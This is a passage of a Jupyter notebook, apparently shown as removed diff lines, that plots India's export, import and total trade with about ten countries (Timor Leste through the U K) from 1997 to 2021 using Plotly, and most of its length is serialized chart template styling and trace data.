0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[50]]['Year(start)'], y=df[df['Country']==country.index[50]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(50,60):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[50]]['Year(start)'], y=df[df['Country']==country.index[50]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(50,60):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[50]]['Year(start)'], y=df[df['Country']==country.index[50]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(50,60):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "id": "2ec6bb6e-ae10-4b2b-825f-c41bf47a4fa8", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.02, - 0.23, - 0.19, - 6.02, - 1.2, - 0.71, - 1.33, - 1.57, - 0.39, - 0.53, - 0.41, - 0.9, - 1.22, - 546.08, - 7.42, - 2.15, - 2.19, - 3.24, - 3.42, - 2.31, - 3.32, - 5.26, - 6.33, - 25.36, - 18.16 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "TIMOR LESTE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.23, - 0.19, - 6.02, - 1.2, - 0.71, - 1.33, - 1.57, - 0.39, - 0.53, - 0.41, - 0.9, - 1.22, - 546.08, - 7.42, - 2.15, - 2.19, - 3.24, - 3.42, - 2.31, - 3.32, - 5.26, - 6.33, - 25.36, - 18.16 - ] - }, - { - "mode": "lines", - "name": "TOGO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 28.52, - 20.26, - 16.03, - 39.56, - 47.36, - 71.66, - 46.98, - 263.37, - 91.1, - 122.01, - 225.78, - 143.42, - 163.51, - 204.86, - 355, - 299.88, - 443.93, - 688.42, - 532.19, - 315.7, - 408.68, - 694.09, - 1040.6, - 1547.23, - 2228.08 - ] - }, - { - "mode": "lines", - "name": "TONGA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.39, - 0.2, - 0.2, - 0.33, - 0.23, - 0.31, - 0.95, - 0.7, - 0.44, - 0.5, - 0.34, - 0.32, - 0.49, - 0.72, - 0.77, - 1.68, - 1.04, - 0.92, - 1.12, - 1.21, - 1.26, - 0.35, - 0.66, - 0.85, - 1.21 - ] - }, - { - "mode": "lines", - "name": "TRINIDAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.36, - 8.35, - 8.2, - 8.69, - 10.79, - 22.33, - 19.64, - 28.92, - 66.64, - 108.46, - 135.8, - 329.25, - 149.15, - 62.96, - 82.46, - 81.52, - 104.83, - 165.48, - 92.88, - 84.53, - 88.69, - 83.75, - 85.11, - 74.79, - 69.81 - ] - }, - { - "mode": "lines", - "name": "TUNISIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14.83, - 22.82, - 28.12, - 38.37, - 46.37, - 58.94, - 68.16, - 74.46, - 82.57, - 109.65, - 124.29, - 213.07, - 213.55, - 282.33, - 285.62, - 298.79, - 274.1, - 249.83, - 222.37, - 255.42, - 281.77, - 304.21, - 245.02, - 264.65, - 299.4 - ] - }, - { - "mode": "lines", - "name": "TURKEY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 244.12, - 169.9, - 189.44, - 333.63, - 219.05, - 368.33, - 563.34, - 723.7, - 1010.08, - 1327.3, - 1752.61, - 1416.75, - 1539.2, - 2749.15, - 3547.26, - 3963.66, - 4433.75, - 5358.9, - 4140, - 4626.59, - 5090.7, - 5452.45, - 4969.47, - 3952.89, - 5997.41 - ] - }, - { - "mode": "lines", - "name": "TURKMENISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.68, - 1.93, - 5.64, - 2.71, - 4.35, - 10.29, - 19.21, - 15.26, - 18.83, - 33.99, - 36.09, - 41.4, - 36.15, - 26.16, - 43.95, - 69.92, - 73.62, - 91.98, - 68.53, - 57.6, - 54.31, - 45.64, - 33.9, - 60.34, - 88.54 - ] - }, - { - "mode": "lines", - "name": "TURKS C IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 1.01, - 3.83, - 21, - 29.1, - 50.56, - 17.27, - 0.32, - 0.41, - 0.53, - 0.83, - 0.53, - 0.17, - 0.05, - 0.17, - 0.32, - 0.41, - 0.15, - 0.16, - 0.78, - 1.15, - 0.26, - 0.64, - 0.13, - 0.38 - ] - }, - { - "mode": "lines", - "name": "TUVALU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.02, - 0.01, - 0.03, - 0.8, - 0.02, - 0.03, - 0.19, - 0.14, - 0.1, - 6.44, - 6.89, - 0.21, - 0.12, - 0.01, - 0.01, - 0.06, - 0.03, - 0.06, - 0.08, - 0.06, - 0, - 0, - 0, - 0.1 - ] - }, - { - "mode": "lines", - "name": "U K", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2092.4, - 1855.4, - 2034.79, - 2298.71, - 2160.87, - 2496.41, - 3023.25, - 3681.09, - 5059.28, - 5622.93, - 6705.5, - 6649.53, - 6221.39, - 7284.96, - 8589.93, - 8612.54, - 9779.07, - 9319.73, - 8828.48, - 8530.07, - 9691.07, - 9309.29, - 8737.85, - 8157.56, - 7676.83 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
